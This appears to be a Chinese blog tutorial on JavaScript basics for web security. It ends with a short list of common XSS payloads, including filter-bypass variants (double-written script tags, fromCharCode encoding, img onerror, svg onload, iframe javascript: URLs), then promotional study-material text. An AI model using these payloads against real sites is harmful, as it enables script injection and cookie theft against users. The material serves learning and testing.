网络安全-js安全知识点与XSS常用payloads
简介
JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。
用法
HTML 中的脚本必须位于 <script> 与 </script> 标签之间。
脚本可被放置在 HTML 页面的 <body> 和 <head> 部分中。
JS必备知识
输出与注释
输出
- 使用 window.alert() 弹出警告框。
- 使用 document.write() 方法将内容写到 HTML 文档中。
- 使用 innerHTML 写入到 HTML 元素。
- 使用 console.log() 写入到浏览器的控制台。
<script>
window.alert('lady_killer9');
</script>
<p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>
<script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>
注释
单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。
语法
关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。
使用 ; 来分隔语句
使用 \ 来进行折行
运算符、条件控制与c++差不多
值类型(基本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。
引用数据类型:对象(Object)、数组(Array)、函数(Function)。
动态类型,即变量可以改为不同类型。
面向对象语言,对象有属性和方法。
函数
关键字function定义一个函数
参数默认值为undefined,argument 对象包含了函数调用的参数数组。
关键字return来返回值
function myFunction(var1,var2,...)
{
代码return something;
}
字符串方法
方法 | 描述 |
---|---|
charAt() | 返回指定索引位置的字符 |
charCodeAt() | 返回指定索引位置字符的 Unicode 值 |
concat() | 连接两个或多个字符串,返回连接后的字符串 |
fromCharCode() | 将 Unicode 转换为字符串 |
indexOf() | 返回字符串中检索指定字符第一次出现的位置 |
lastIndexOf() | 返回字符串中检索指定字符最后一次出现的位置 |
localeCompare() | 用本地特定的顺序来比较两个字符串 |
match() | 找到一个或多个正则表达式的匹配 |
replace() | 替换与正则表达式匹配的子串 |
search() | 检索与正则表达式相匹配的值 |
slice() | 提取字符串的片断,并在新的字符串中返回被提取的部分 |
split() | 把字符串分割为子字符串数组 |
substr() | 从起始索引号提取字符串中指定数目的字符 |
substring() | 提取字符串中两个指定的索引号之间的字符 |
toLocaleLowerCase() | 根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射 |
toLocaleUpperCase() | 根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射 |
toLowerCase() | 把字符串转换为小写 |
toString() | 返回字符串对象值 |
toUpperCase() | 把字符串转换为大写 |
trim() | 移除字符串首尾空白 |
valueOf() | 返回某个字符串对象的原始值 |
事件
HTML 事件可以是浏览器行为,也可以是用户行为。
事件 | 描述 |
---|---|
onchange | HTML 元素改变 |
onclick | 用户点击 HTML 元素 |
onmouseover | 用户在一个HTML元素上移动鼠标 |
onmouseout | 用户从一个HTML元素上移开鼠标 |
onkeydown | 用户按下键盘按键 |
onload | 浏览器已完成页面的加载 |
onerror | 出错时执行,用于故意构造错误时执行代码 |
表单
document.forms[表单名][变量名]
Cookie
<script>document.cookie</script>
代码执行
eval函数将参数作为js代码执行
伪协议
javascript:js代码,可以放到Html标签中
XSS常用payload
普通
<script>alert('XSS')</script> <script>document.cookie</script>
双写绕过
例如,php中使用str_replace函数替换<script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
编码绕过
例如,php中使用mysqli_real_escape_string函数转义特殊字符
"><script>alert(String.fromCharCode(88,83,83))</script>
html标签绕过正则
例如,php中使用preg_filter函数进行正则匹配删除script
登录后复制
<img src=x onerror=alert('XSS');> <img src=x:alert(alt) onerror=eval(src) alt=xss> "><svg/onload=alert(/XSS/) <div onpointerover="alert(45)">MOVE HERE</div> <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME> <A HREF=http://127.0.0.1/phpinfo.php>link</A>
网络安全学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
需要网络安全学习路线和视频教程的可以在评论区留言哦~
最后
- 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!
给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。
黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失